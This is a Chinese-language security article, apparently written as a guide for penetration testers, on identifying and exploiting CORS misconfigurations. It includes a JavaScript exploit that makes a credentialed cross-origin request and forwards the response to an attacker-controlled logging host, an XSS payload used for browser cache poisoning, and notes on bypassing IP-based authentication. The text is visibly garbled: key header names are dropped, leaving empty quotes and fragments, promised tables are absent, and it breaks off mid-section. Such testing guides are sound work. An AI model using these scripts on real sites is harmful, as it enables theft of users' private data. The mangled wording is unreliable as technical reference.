总第22篇
2021年 第022篇
这部分内容是一个给安全测试专家的指导,来帮助他们测试CORS的安全性。总结本篇文章希望对从事相关工作的同学能够有所帮助或者启发
同在上一篇文章同源策略和跨域资源共享(cors)的介绍,详细介绍了同源策略与跨域资源共享(cors)相同和不同之处。
任何技术使用都是双刃剑,有利有弊。本篇承接上篇的技术话题分享cors漏洞攻击
攻击过程
三个步骤测试CORS错误配置
▐ 识别
首先,想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。
APIs一个不错的选择,因为他们经常和不同的域交换信息。因此,通常情况下,接口会暴露一些信息收集和信息枚举的功能。
通常,当服务器收到头部带有”"字段的请求的时候才会配置CORS,因此才会很容易的产生很多这样类型的漏洞。
另外,如果客户端收到返回报文的头部包含“--*”这样的字段,但是没有定义源的话,那么很可能返回报文的头部是由请求报文中“”这个字段来决定的。
因此,找到候选人接口之后,就可以发送头部带有“”的数据包了。测试者应该试图让“”字段使用不同的值,比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。
比如:
GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://target.domain
Connection: close
然后看服务器的返回报文头部是否带有“--Allow-*”字段
HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://target.domain
…
上面的返回报文表明,这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试,以确定是否存在安全缺陷。
▐ 分析
因为请求会修改数据(通常是GET以外的方法),在发送这些复杂请求之前,浏览器会发送一个”探测“请求
识别出开启的CORS功能的接口之后,就要尽可能的分析配置,以发现正确的利用方式。
在这个阶段,开始请求报文头部中“”这个字段然后观察服务器的返回报文,目的是看哪些域是被允许的。
重要的是验证,哪种类型的控件可以被控制,应用会返回哪种头部字段。
因此,测试者应该发送发送头部字段“”包含不同值的请求发送给服务器端,看看攻击者所控制的域名是否被允许。
GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://attaker.domain
Connection: close
然后看服务器的返回报文头部是否带有“--Allow-*”字段
HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://attacker.domain
…
在这次测试示例中,服务器返回的报文头部中已经表明完全信任“.”这个域,并且可以向这个域中发送用户凭据。▐ 利用
经过刚才对CORS的分析,我们已经准备好去利用那些配置错误的CORS应用了。
有时cors跨域cors跨域,当用户凭据这个字段没有开启的时候,可能需要其他的先决条件去利用这个问题。
下面的篇幅就详细的讲解一些特殊的利用技术。
有用户凭据的利用方式
从一个攻击者角度来看,看到目标应用的“-Allow-”设置为“true”时是非常开心的。在这种情况下,攻击者会利用配置错误去偷走受害人的隐私数据和敏感数据。
下面这个表简要说明基于CORS配置的可利用性
▐泄露用户数据
当“--Allow-”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个脚本去发送CORS请求,就像下面那样:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};
用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。
当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”
GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=
然后就会收到下面的返回数据
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}
没有用户凭据的利用方式
在这种情况下,目标应用允许通过发送“”去影响返回头“--Allow-”的值,但是不允许传输用户凭证
下面这个表简要说明基于CORS配置的可利用性
如果不能携带用户凭据的话,那么就会减少攻击者的攻击面,并且很明显的是,攻击者将很难拿到用户的。此外,会话固定攻击也是不可行的,因为浏览器会忽略应用设置的新的。
▐绕过基于ip的身份验证
实际的攻击中总有意外,如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。
在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。
▐客户端缓存中毒
这种配置允许攻击者利用其他的漏洞。
比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。
请求:
GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User:
返回报文(注意:“--Allow-”已经被设置,但是“--Allow-: true”并且“Vary: ”头没有被设置)
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)
攻击者可以把xss的exp放在自己控制的服务器中的代码里面然后等待受害者去触发它。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '');
req.send();
function reqListener() {
location='http://www.target.local/login';
}
如果在返回报文中头部没有设置“Vary: ”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“()”这个方法)
如果没有CORS的话,上面的缺陷就没法利用,因为没有办法让受害者浏览器发送自定义头部,但是如果有了CORS,就可以用“”做这个事情。
▐服务器端缓存中毒
另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss
下面是攻击的利用条件:
关于cors所有的安全知识,从基本的到高级的,从攻击到防御,
文章面向所有人:网站管理员,程序员,渗透测试,赏金猎人还有安全专家。